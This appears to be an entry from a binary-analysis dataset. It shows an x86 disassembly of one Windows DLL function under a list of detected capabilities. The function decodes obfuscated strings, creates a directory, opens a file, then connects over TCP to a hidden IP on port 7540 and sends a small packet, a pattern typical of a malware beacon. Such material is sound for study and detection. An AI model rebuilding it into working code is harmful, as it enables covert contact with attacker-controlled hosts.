Function at 0x10011f11
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create directory
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a4
mov eax, dword [0x10020040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call dword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
push 0
push 0x2710
push edx
push eax
call fcn.10016680
mov esi, eax
mov ebx, edx
push 0
mov dword [ebp - 0x29c], esi
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
pop ecx
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
pop ecx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
push 0
sub esp, 0xc
movzx edi, ax
mov ecx, esp
mov dword [ebp - 0x2a0], edi
lea eax, [ebp - 0x80]
mov dword [ebp - 0x9c], 0xb3
lea edx, [ebp - 0x9c]
mov dword [ebp - 0x98], 0x46
push ecx
push eax
push edx
mov dword [ebp - 0x94], 0xb5
mov dword [ebp - 0x90], 0xbc
mov dword [ebp - 0x8c], 0xaf
mov dword [ebp - 0x88], 0xab
mov dword [ebp - 0x84], 0xb9
call fcn.10003518
lea ecx, [ebp - 0x60]
call fcn.10013265
add esp, 0xc
cmp dword [eax + 0x14], 0xf
jbe 0x10011fd6
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x60]
call fcn.100039ab
push 0x58
pop ecx
mov dword [ebp - 0xe0], ecx
lea edx, [ebp - 0x100]
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x100], 0xa0
lea eax, [ecx + 0x47]
mov dword [ebp - 0xfc], 0x33
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xd8], eax
add eax, 0xfffffff8
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0xc8], eax
movzx eax, di
push eax
push ebx
push esi
sub esp, 0xc
mov dword [ebp - 0xf8], 0xa2
mov ecx, esp
mov dword [ebp - 0xf4], 0xa9
lea eax, [ebp - 0xb4]
mov dword [ebp - 0xf0], 0x9c
mov dword [ebp - 0xec], 0x98
push ecx
push eax
push edx
mov dword [ebp - 0xe8], 0xa6
mov dword [ebp - 0xe4], 0x62
mov dword [ebp - 0xd0], 0x92
mov dword [ebp - 0xc4], 0x61
mov dword [ebp - 0xc0], 0x95
mov dword [ebp - 0xbc], 0xac
mov dword [ebp - 0xb8], 0xa1
call fcn.10003518
lea ecx, [ebp - 0x60]
call fcn.10013265
add esp, 0xc
push 0xf
pop edi
cmp dword [eax + 0x14], edi
jbe 0x100120c8
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.10001026
add esp, 0x14
lea ecx, [ebp - 0x60]
call fcn.100039ab
sub esp, 0xc
mov dword [ebp - 0x54], 0xba
mov ecx, esp
mov dword [ebp - 0x50], 0x43
lea eax, [ebp - 0x48]
mov dword [ebp - 0x4c], 0xa5
lea edx, [ebp - 0x54]
push ecx
push eax
push edx
call fcn.10003518
lea ecx, [ebp - 0x98]
call fcn.10013265
add esp, 0xc
cmp dword [eax + 0x14], edi
jbe 0x1001211a
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
pop ecx
pop ecx
lea ecx, [ebp - 0x98]
mov dword [0x100209ac], eax
call fcn.100039ab
push 0x5f
pop ecx
push 3
push 0x20
push 0x64
sub esp, 0xc
mov dword [ebp - 0x64], ecx
lea eax, [ecx + 0x3e]
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x50], ecx
lea edx, [ebp - 0x64]
mov ecx, esp
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x48]
push ecx
push eax
push edx
mov dword [ebp - 0x60], 0x3a
call fcn.10003518
lea ecx, [ebp - 0x98]
call fcn.10013265
add esp, 0xc
cmp dword [eax + 0x14], edi
jbe 0x10012184
mov eax, dword [eax]
push eax
push dword [0x100209ac]
call fcn.1000f4ee
add esp, 0x14
lea ecx, [ebp - 0x98]
call fcn.100039ab
push dword [0x100209ac]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
pop ecx
lea eax, [ebp - 0x290]
mov dword [0x100209b0], esi
push eax
push 0x202
mov dword [0x100209b4], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x10
lea eax, [ebp - 0xac]
push 0
push eax
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
push 6
push 1
push 2
pop esi
push esi
call dword [sym.imp.WS2_32.dll_socket]
push 0x39
mov word [ebp - 0xac], si
pop esi
push 0x3d
pop edx
push 0x3e
mov dword [0x10020998], eax
pop eax
push 0x44
pop ecx
sub esp, 0xc
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x4c], ecx
mov ecx, esp
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x48]
push ecx
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0x50], edx
lea edx, [ebp - 0x80]
push eax
push edx
mov dword [ebp - 0x80], 0x3c
mov dword [ebp - 0x7c], 0xb
mov dword [ebp - 0x78], 0x3f
mov dword [ebp - 0x74], 0x40
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x54], esi
call fcn.10003518
lea ecx, [ebp - 0x98]
call fcn.10013265
add esp, 0xc
cmp dword [eax + 0x14], edi
jbe 0x10012265
mov eax, dword [eax]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
lea ecx, [ebp - 0x98]
mov dword [ebp - 0xa8], eax
call fcn.100039ab
push 0x1d74
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xaa], ax
lea eax, [ebp - 0xac]
push 0x10
push eax
push dword [0x10020998]
call dword [sym.imp.WS2_32.dll_connect]
mov edx, dword [ebp - 0x29c]
mov eax, ebx
mov ecx, edx
mov byte [ebp - 0xf], dl
shrd ecx, eax, 8
mov eax, ebx
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xe], cl
mov ecx, edx
shrd ecx, eax, 0x10
mov eax, ebx
mov dword [ebp - 0x14], 0x2001000d
shrd edx, eax, 0x18
mov eax, ebx
mov byte [ebp - 0x10], 3
sar eax, 8
mov byte [ebp - 0xa], al
mov eax, ebx
sar eax, 0x10
mov byte [ebp - 9], al
mov eax, dword [ebp - 0x2a0]
mov byte [ebp - 7], al
shr eax, 8
push 0
mov byte [ebp - 6], al
lea eax, [ebp - 0x14]
push edi
push eax
push dword [0x10020998]
sar ebx, 0x18
mov byte [ebp - 0xd], cl
mov byte [ebp - 0xc], dl
mov byte [ebp - 8], bl
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001556f
leave
ret